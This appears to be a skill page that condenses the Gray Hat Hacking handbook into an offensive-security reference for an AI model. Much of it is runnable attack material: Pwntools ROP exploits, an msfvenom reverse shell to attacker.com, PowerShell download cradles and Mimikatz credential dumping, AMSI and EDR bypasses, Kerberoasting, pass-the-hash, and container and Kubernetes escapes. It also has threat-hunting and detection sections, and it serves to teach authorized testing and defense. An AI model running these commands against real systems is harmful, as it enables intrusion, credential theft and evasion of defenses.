Gray Hat Hacking

Gray Hat Hacking: The Ethical Hacker's Handbook, 6th Edition · Allen Harper, Ryan Linn, Moses Frost, et al ·650 pages

Comprehensive ethical hacking handbook covering exploit development (Linux/Windows/kernel), C2 deployment and EDR evasion, PowerShell living-off-the-land, Active Directory attacks (Kerberoasting, BloodHound, persistence), IoT/embedded hardware attacks, SDR, cloud hacking (AWS/Azure/containers/Kubernetes), and threat hunting with MITRE ATT&CK.

Capabilities (8)
  • Map engagement types: vuln scan vs pentest vs threat simulation vs red team
  • Build Linux exploits: buffer overflows, ROP chains, ASLR/NX/canary bypasses with Pwntools
  • Conduct Windows exploitation: SEH overflows, ROP chains, token stealing for kernel privesc
  • Deploy C2 frameworks: Covenant, Empire, Sliver — with payload obfuscation and EDR evasion
  • Perform AD post-exploitation: Kerberoasting, BloodHound path finding, AdminSDHolder persistence
  • Attack cloud environments: AWS metadata SSRF, IAM privilege escalation, container/Kubernetes escapes
  • Analyze IoT/embedded: UART/JTAG interface identification, SPI flash dump, firmware analysis with binwalk
  • Conduct threat hunting: hypothesis-driven hunts, MITRE ATT&CK mapping, Windows Event ID monitoring
How to use

Install this skill and Claude can guide exploit development for Linux and Windows binaries using Pwntools and ROP chains, select the right engagement type for a client scenario, map AWS IAM and Kubernetes privilege escalation paths, perform AD attack path analysis from BloodHound data, and build threat hunting hypotheses mapped to MITRE ATT&CK Windows Event IDs

Why it matters

This is the widest-coverage ethical hacking reference available — spanning binary exploitation through cloud infrastructure to threat hunting — giving security teams a single framework to both execute authorized attacks and build the detections that catch them, covering the full attacker-defender loop

Example use cases
  • Analyzing a 64-bit ELF binary with NX and ASLR enabled to leak a libc address via format string vulnerability and compute the base offset for a Pwntools ROP chain
  • Walking through an AWS engagement where SSRF access to the EC2 metadata service yields an IAM role and mapping the privilege escalation path via a misconfigured role trust policy
  • Defining a Kerberoasting threat hunting hypothesis, identifying the relevant Windows Event ID 4769 with RC4 etype, and writing a detection query to surface anomalous service ticket requests

Gray Hat Hacking Skill

Engagement Types

TypeScopeDeliverable
Vulnerability ScanAutomated, no exploitationReport with CVE list
Validated Vuln ScanManual confirmation of scanner findingsVerified finding list
Penetration TestFull exploitation, defined scopeRisk-prioritized report
Threat SimulationMITRE ATT&CK emulation, full kill chainDetection gap analysis
Red TeamLong-duration, covert, objectives-basedRealistic attack narrative

MITRE ATT&CK Kill Chain Mapping

Lockheed Martin Kill Chain → ATT&CK Tactics
Reconnaissance           → TA0043 (Reconnaissance)
Weaponization            → TA0001 (Initial Access)
Delivery                 → TA0002 (Execution)
Exploitation             → TA0004 (Privilege Escalation)
Installation             → TA0003 (Persistence)
C2                       → TA0011 (Command and Control)
Actions on Objectives    → TA0009/TA0010 (Collection/Exfiltration)

Bug Bounty vs. Authorized Testing

  • Always obtain written scope and authorization before testing
  • Coordinate vulnerability disclosure: private disclosure → vendor patch → public (90-day window common)
  • Bug bounty programs: HackerOne, Bugcrowd — define in-scope assets and payout tiers

Tooling & Reverse Engineering

Linux Exploit Development Toolkit

ldd ./binary                     # show shared library dependencies
objdump -d ./binary              # disassemble
strace ./binary                  # trace system calls
ltrace ./binary                  # trace library calls
checksec --file=./binary         # show mitigations (NX, ASLR, Canary, PIE, RELRO)
ropper --file=./binary           # find ROP gadgets
one_gadget libc.so.6             # find one-shot RCE gadgets
patchelf --set-rpath . ./binary  # patch binary to use local libc

Pwntools Framework (CTF/Exploit Dev)

from pwn import *

elf = ELF('./binary')
libc = ELF('./libc.so.6')
p = process('./binary')          # or remote('host', port)

# Leak libc base
p.recvuntil(b'> ')
payload = b'A' * offset + p64(elf.plt['puts']) + p64(elf.symbols['main']) + p64(elf.got['printf'])
p.sendline(payload)
leak = u64(p.recvline().strip().ljust(8, b'\x00'))
libc.address = leak - libc.symbols['printf']
log.info(f'libc base: {hex(libc.address)}')

# Build ROP chain
rop = ROP(libc)
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
payload2 = b'A' * offset + rop.chain()
p.sendline(payload2)
p.interactive()

Ghidra Reverse Engineering

  • Import binary → analyze → CodeBrowser for disassembly + decompilation
  • Key windows: Program Trees, Symbol Table, Listing (asm), Decompiler
  • Rename variables/functions to improve readability: right-click → Rename
  • Binary diffing: Version Tracking → create correlation sessions between patched/unpatched binaries
  • Find patch differences: compare function match scores — low confidence = likely changed

IDA Pro Workflow

File → New → select binary → auto-analyze
Navigation: g = jump to address; n = rename; x = cross-references
Xrefs: ctrl+x on function shows all callers
Proximity browser: right-click → Charts → Proximity Browser (call graph)
Shortcuts: F5 = decompile; space = switch views; ; = add comment
Debugging: Debugger → select local or remote debugger → F9 run

Linux Exploit Development

Buffer Overflow Fundamentals

Stack layout (x86-64):
  [local buffers] [saved RBP] [return address] [args...]

Overflow target: return address (8 bytes above buffer on x86-64)
Tools: pattern_create/pattern_offset (pwntools), gdb + peda/gef
# Classic stack overflow with pwntools
from pwn import *
p = process('./vuln')
offset = 72  # found via cyclic pattern
ret = p64(0x4006b3)  # ret gadget (stack alignment for GLIBC)
win = p64(elf.symbols['win'])
payload = b'A' * offset + ret + win
p.sendline(payload)

Modern Linux Mitigations & Bypasses

MitigationDetectionBypass Technique
NX (no-exec stack)checksec shows NX enabledReturn-Oriented Programming (ROP)
Stack canarychecksec shows canaryLeak canary via format string or info leak
ASLR/proc/sys/kernel/randomize_va_spaceLeak libc/stack address, calculate base
PIEchecksec shows PIE enabledLeak binary address via printf format or partial overwrite
# Check all mitigations at once:
checksec --file=./binary
# Output: [*] RELRO: Full | Stack: Canary | NX: enabled | PIE: enabled

Return-Oriented Programming (ROP)

# ROP chain to call system("/bin/sh")
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(libc)

pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
binsh = next(libc.search(b'/bin/sh'))
system = libc.symbols['system']

chain = p64(pop_rdi) + p64(binsh) + p64(system)

Linux Kernel Exploits

Kernel exploit primitives:
1. ret2usr: corrupt kernel pointer → jump to userspace shellcode
   → Defeated by SMEP (Supervisor Mode Execution Protection)
   → Defeated by SMAP (Supervisor Mode Access Prevention)

2. ROP in kernel: build ROP chain in kernel address space
   → Defeated by KASLR (Kernel Address Space Layout Randomization)
   → Bypass: leak kernel address via /proc/kallsyms (if readable) or race condition

Kernel escalation payload pattern:
  commit_creds(prepare_kernel_cred(0))  // set UID to 0

Goal: replace process credentials with root credentials, then return to userspace

Windows Exploit Development

Windows Exploit Workflow

1. Compile with Visual Studio or MinGW
2. Crash target: pattern_create → send → pattern_offset from EIP
3. Immunity Debugger: bp on functions, mona.py for automation
   !mona pattern_create 2000
   !mona findmsp          # find pattern in registers
   !mona find -s "\xff\xe4" -m "vuln.dll"  # find JMP ESP
4. Handle SEH-based overflows: overwrite SEH handler chain
5. Bypass protections: SafeSEH, DEP via ROP, ASLR via info leak

Return-Oriented Programming (Windows)

Tools: mona.py (Immunity), Ropper, ROPgadget
!mona rop -m "module.dll" -cpb '\x00\x0a\x0d'  # find ROP gadgets
# Build VirtualProtect or VirtualAlloc ROP chain to make shellcode executable

Windows Kernel Exploitation

1. Find vulnerable kernel driver (signed third-party drivers common)
2. Interact via DeviceIoControl (IOCTL)
3. Use Ghidra/IDA to reverse IOCTL handler
4. Find kernel arbitrary read/write primitive
5. Token stealing: walk EPROCESS list, copy SYSTEM token to current process
   → Kernel shellcode: find offset to Token field in EPROCESS structure
6. Setup: WinDbg kernel debug over network (kdnet) or serial

Command & Control (C2)

C2 Framework Comparison

FrameworkLanguageTransportNotable Feature
Metasploit/MeterpreterRubyTCP/HTTPMost exploits; post-exploitation modules
CovenantC#HTTP/SGrunts (implants); .NET in-memory execution
PowerShell EmpirePythonHTTP/S, WMIPowerShell agents; living off the land
SliverGoHTTP/S, DNS, mTLSModern; multi-operator; implant generation
Cobalt StrikeJavaHTTP/S, DNSIndustry standard; malleable C2 profiles

Payload Obfuscation

# msfvenom: generate obfuscated shellcode
msfvenom -p windows/x64/meterpreter/reverse_https \
  LHOST=attacker.com LPORT=443 \
  -e x64/xor_dynamic -i 5 \   # encode 5 iterations
  -f raw -o payload.bin

# Convert shellcode to C# launcher
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=... LPORT=... -f csharp

# Go launcher (avoids PowerShell logging)
# key: embed shellcode as byte array, allocate RWX memory, execute

EDR Evasion Concepts

1. Unhooking: EDRs hook NTDLL.dll functions in userspace
   → Technique: load clean copy of ntdll.dll from disk, overwrite hooked copy

2. Direct syscalls: bypass userland hooks by calling syscalls directly
   → Tools: SysWhispers2/3 for syscall stub generation

3. AMSI bypass: patch AmsiScanBuffer to return AMSI_RESULT_CLEAN
   [Ref.AmsiUtils].GetField('amsiContext', ...)  # classic PS bypass

4. ETW patching: patch EtwEventWrite to skip logging

Post-Exploitation (Windows)

Host Recon Toolkit

whoami /all                      # privileges, groups
whoami /priv                     # token privileges
systeminfo                       # OS, patches, domain
net localgroup administrators    # local admins
net group "Domain Admins" /domain

# Seatbelt (C# recon tool)
.\Seatbelt.exe -group=all        # run all checks
.\Seatbelt.exe CredEnum          # find credentials

# PowerView (AD recon)
Get-NetDomain                    # domain info
Get-NetUser                      # all domain users
Get-NetComputer                  # all domain computers
Find-LocalAdminAccess            # where current user is local admin

Active Directory Attacks

# Kerberoasting: request TGS for SPNs, crack offline
Invoke-Kerberoast -OutputFormat Hashcat | Out-File kerberoast.txt
hashcat -m 13100 kerberoast.txt rockyou.txt

# ASREPRoasting: accounts without pre-auth requirement
Get-ASREPHash -UserName targetuser -Domain corp.local
hashcat -m 18200 asrep.txt rockyou.txt

# Pass-the-Hash
impacket-psexec DOMAIN/admin@target -hashes :ntlm_hash

# SharpHound + BloodHound: visualize AD attack paths
.\SharpHound.exe -c All          # collect AD data
# Import JSON files into BloodHound → find shortest path to Domain Admin

AD Persistence

AdminSDHolder abuse:
  1. Add attacker account to AdminSDHolder ACL
  2. SDProp (runs every 60 min) propagates rights to protected groups
  3. Attacker gains DCSync rights or DA membership

SIDHistory injection:
  1. Add DA SID to user's SIDHistory attribute
  2. User gets DA privileges without being in the group
  3. Detected by monitoring SIDHistory changes

Getting Shells Without Exploits

# Responder: LLMNR/NBT-NS poisoning → capture NetNTLM
responder -I eth0 -wrf
hashcat -m 5600 netntlm.txt rockyou.txt

# WMI lateral movement
wmic /node:target /user:DOMAIN\admin /password:pass process call create "cmd.exe /c ..."

# Evil-WinRM (if WinRM enabled, port 5985/5986)
evil-winrm -i target -u administrator -p 'password'
# or with hash: evil-winrm -i target -u administrator -H ntlm_hash

PowerShell Exploitation

Execution Policy Bypasses

powershell -ExecutionPolicy Bypass -File script.ps1
powershell -enc [base64_encoded_command]            # encoded command
powershell -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/payload.ps1')"
powershell -nop -noexit -c "..."                    # no profile, no exit

PowerSploit Modules

# Mimikatz via PowerShell
IEX(New-Object Net.WebClient).DownloadString('http://.../Invoke-Mimikatz.ps1')
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
Invoke-Mimikatz -DumpCreds

# Privilege escalation
Find-LocalAdminAccess
Invoke-TokenManipulation

PowerShell Logging (Defender Awareness)

Module Logging: logs all PS module activity (Event ID 4103)
Script Block Logging: logs all script blocks (Event ID 4104) — evade by encoding
Transcription: logs all input/output
AMSI: scans scripts before execution

IoT & Embedded Device Hacking

Hardware Interface Identification

UART: 3-4 unpopulated pins, idle HIGH at 3.3V
  → Measure with multimeter: VCC, GND, TX (high idle), RX
  → Connect with logic analyzer or USB-UART adapter
  → Screen/picocom to interact: screen /dev/ttyUSB0 115200

JTAG: 4+ pins (TCK, TMS, TDI, TDO), sometimes TRST, SRST
  → Use JTAGulator or OpenOCD to detect
  → OpenOCD: halt CPU, dump memory, set breakpoints

SPI Flash dump:
  flashrom -p buspirate_spi:dev=/dev/ttyUSB0 -r firmware.bin

Firmware Analysis Workflow

binwalk firmware.bin              # identify file systems, compression
binwalk -e firmware.bin           # extract filesystem
strings firmware.bin | grep -i pass   # hunt for credentials
grep -r "password\|secret\|key" _firmware.extracted/

# Emulate with FirmAE
./run.sh -r brand firmware.bin   # full emulation
./run.sh -a brand firmware.bin   # check service accessibility

Software-Defined Radio (SDR) Attack Workflow

1. Search: identify target frequency (FCC database, Shodan RF)
2. Capture: gqrx or SDR# → save I/Q recording .raw
3. Replay: hackrf_transfer -t capture.raw -f [freq] -s [sample_rate]
4. Analyze: Universal Radio Hacker (URH) → decode modulation
5. Execute: forge/replay packets (garage doors, keyfobs, tire pressure sensors)

Hardware: RTL-SDR ($30 dongle) for receive; HackRF One ($300) for TX/RX

Hacking the Cloud

AWS Attack Surface

# Enumerate with AWS CLI (if creds obtained)
aws sts get-caller-identity           # who am I?
aws iam list-users
aws iam list-roles
aws s3 ls                             # list all buckets
aws s3 ls s3://bucket-name --recursive
aws ec2 describe-instances --region us-east-1
aws secretsmanager list-secrets
aws ssm describe-parameters          # SSM Parameter Store

# Metadata service (from EC2 instance) — SSRF target
curl http://169.254.169.254/latest/meta-data/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/[role-name]
# → Gets temporary AWS credentials from IAM role

AWS Privilege Escalation Paths

1. iam:CreatePolicyVersion → create new policy version with AdministratorAccess
2. iam:AttachRolePolicy → attach Admin policy to current role
3. iam:PassRole + ec2:RunInstances → launch EC2 with privileged role
4. lambda:CreateFunction + lambda:InvokeFunction → run code as privileged role
5. sts:AssumeRole → pivot to more privileged role

Azure Attack Surface

# Azure CLI enumeration
az account list
az group list
az vm list
az storage account list
az keyvault list
az role assignment list --all        # check permissions

# Token theft: Azure managed identity endpoint (from VM)
curl "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/" -H Metadata:true

Container (Docker) Attacks

# Check if inside container
cat /proc/1/cgroup                   # shows docker paths if containerized
ls /.dockerenv

# Escape: privileged container
mount /dev/sda1 /mnt                 # mount host filesystem
chroot /mnt                          # chroot to host

# Escape: mounted docker socket
ls -la /var/run/docker.sock          # if accessible
docker -H unix:///var/run/docker.sock run -it -v /:/mnt alpine chroot /mnt sh

# Escape: SYS_ADMIN capability + cgroups
# Exploit: abuse cgroup release_agent to run host command

Kubernetes Attack Paths

# Check service account permissions
kubectl auth can-i --list

# Enumerate from inside pod
env | grep KUBE                      # API server address
cat /var/run/secrets/kubernetes.io/serviceaccount/token  # SA token
curl -H "Authorization: Bearer $TOKEN" https://$KUBERNETES_SERVICE_HOST/api/v1/pods

# Privilege escalation via pod spec
# Create privileged pod with hostPID + hostNetwork + volumeMount of /
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
spec:
  hostPID: true
  hostNetwork: true
  containers:
  - image: alpine
    volumeMounts:
    - mountPath: /host
      name: host
    securityContext:
      privileged: true
  volumes:
  - name: host
    hostPath:
      path: /
EOF

Threat Hunting

Threat Hunting Workflow

1. Hypothesis: "Attacker used Kerberoasting against domain accounts"
2. Data sources: Windows Security Event Log (4769 - Kerberos service ticket request)
3. Hunt: filter for RC4 encryption (etype 0x17) — modern Kerberos uses AES
4. Investigate: users requesting many service tickets vs. baseline
5. Confirm or rule out: correlate with user behavior, time of day
6. Document findings in playbook

Key Detection Data Sources

Windows Event IDs to monitor:
4624/4625   Login success/failure
4648        Explicit credential use (runas)
4688        Process creation (with command line logging)
4698        Scheduled task created
4769        Kerberos service ticket requested
4776        NTLM authentication
7045        New service installed

Sysmon Events:
1           Process creation (with full command line)
3           Network connection
7           Image loaded (DLL load)
10          Process access (credential dumping detection)
11          File creation

Purple Team Activities

1. Select ATT&CK technique (e.g., T1003.002 — SAM credential dump)
2. Red team executes technique (Atomic Red Team playbook)
3. Blue team checks if detection fired
4. Gap identified → tune detection rule
5. Retest → confirm detection
6. Document in runbook

Patch Exploitation (Binary Diffing)

Finding N-Day Vulnerabilities from Patches

1. Wait for Patch Tuesday (2nd Tuesday of month)
2. Download update (.msu) → expand → extract patched DLL
3. BinDiff: compare patched vs. unpatched DLL
   → Find functions with low similarity score (changed functions)
4. Analyze changed function in IDA/Ghidra
5. Identify vulnerability type from change (bounds check added, NULL deref fixed)
6. Write exploit for unpatched version (still vulnerable in target environments)

Tools: BinDiff (IDA plugin), turbodiff, Ghidra version tracking
Timeline: often < 48h from patch to working exploit